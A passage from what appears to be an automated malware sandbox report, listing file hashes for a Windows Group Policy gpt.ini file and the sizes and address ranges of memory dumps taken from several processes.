                                                                                                                                                                          af5a6b277700c3d5f2b18476dc79bf88

                                                                                                                                                                          SHA1

                                                                                                                                                                          cd73d9b216467ce5ef9c4ed007f21506bdcda9ce

                                                                                                                                                                          SHA256

                                                                                                                                                                          3bd8efb7779a1f95f313b9e441b865476c5ba63acfdebf0b6647413451b58ec9

                                                                                                                                                                          SHA512

                                                                                                                                                                          27649baa11485fb0f10638344c934df823c1546abb396f12ee1932bc03c663d6186c3b7720d6cbb7d3afe7b2765713e896d67cca02d736fd65142b4a1b30d611

                                                                                                                                                                        • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                                          Filesize

                                                                                                                                                                          268B

                                                                                                                                                                          MD5

                                                                                                                                                                          a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                          SHA1

                                                                                                                                                                          1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                          SHA256

                                                                                                                                                                          9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                          SHA512

                                                                                                                                                                          9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                                        • memory/460-497-0x0000000001F40000-0x0000000002528000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          5.9MB

                                                                                                                                                                        • memory/1028-34-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          10.8MB

                                                                                                                                                                        • memory/1028-25-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          10.8MB

                                                                                                                                                                        • memory/1028-30-0x0000019F9D6F0000-0x0000019F9D700000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/1028-29-0x0000019F9D6F0000-0x0000019F9D700000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/1028-31-0x0000019F9D6C0000-0x0000019F9D6E2000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          136KB

                                                                                                                                                                        • memory/1568-67-0x0000000003FD0000-0x0000000003FE0000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/1568-66-0x0000000003FD0000-0x0000000003FE0000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/1568-79-0x00000000733A0000-0x0000000073B51000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          7.7MB

                                                                                                                                                                        • memory/1568-65-0x00000000733A0000-0x0000000073B51000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          7.7MB

                                                                                                                                                                        • memory/1900-16-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          5.9MB

                                                                                                                                                                        • memory/2468-506-0x0000000003A70000-0x0000000003B45000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          852KB

                                                                                                                                                                        • memory/2468-488-0x00000000039E0000-0x0000000003A6A000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          552KB

                                                                                                                                                                        • memory/2468-158-0x0000000003200000-0x0000000003265000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          404KB

                                                                                                                                                                        • memory/2468-103-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          5.9MB

                                                                                                                                                                        • memory/2468-114-0x0000000001EC0000-0x0000000001F45000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          532KB

                                                                                                                                                                        • memory/3848-39-0x0000000010000000-0x00000000105E8000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          5.9MB

                                                                                                                                                                        • memory/4416-59-0x00000000053A0000-0x00000000053BE000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          120KB

                                                                                                                                                                        • memory/4416-47-0x0000000004500000-0x0000000004522000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          136KB

                                                                                                                                                                        • memory/4416-46-0x0000000004580000-0x0000000004BAA000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          6.2MB

                                                                                                                                                                        • memory/4416-45-0x0000000003F00000-0x0000000003F10000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/4416-42-0x0000000003F10000-0x0000000003F46000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          216KB

                                                                                                                                                                        • memory/4416-44-0x0000000003F00000-0x0000000003F10000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/4416-43-0x00000000733A0000-0x0000000073B51000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          7.7MB

                                                                                                                                                                        • memory/4416-49-0x0000000004E50000-0x0000000004EB6000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          408KB

                                                                                                                                                                        • memory/4416-48-0x0000000004DE0000-0x0000000004E46000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          408KB

                                                                                                                                                                        • memory/4416-63-0x00000000733A0000-0x0000000073B51000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          7.7MB

                                                                                                                                                                        • memory/4416-58-0x0000000004FC0000-0x0000000005317000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          3.3MB

                                                                                                                                                                        • memory/4416-60-0x00000000053D0000-0x000000000541C000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          304KB

                                                                                                                                                                        • memory/4524-98-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          10.8MB

                                                                                                                                                                        • memory/4524-84-0x00007FFFD9BB0000-0x00007FFFDA672000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          10.8MB

                                                                                                                                                                        • memory/4524-85-0x000001ADF4740000-0x000001ADF4750000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/4524-86-0x000001ADF4740000-0x000001ADF4750000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB

                                                                                                                                                                        • memory/4524-96-0x000001ADF4740000-0x000001ADF4750000-memory.dmp

                                                                                                                                                                          Filesize

                                                                                                                                                                          64KB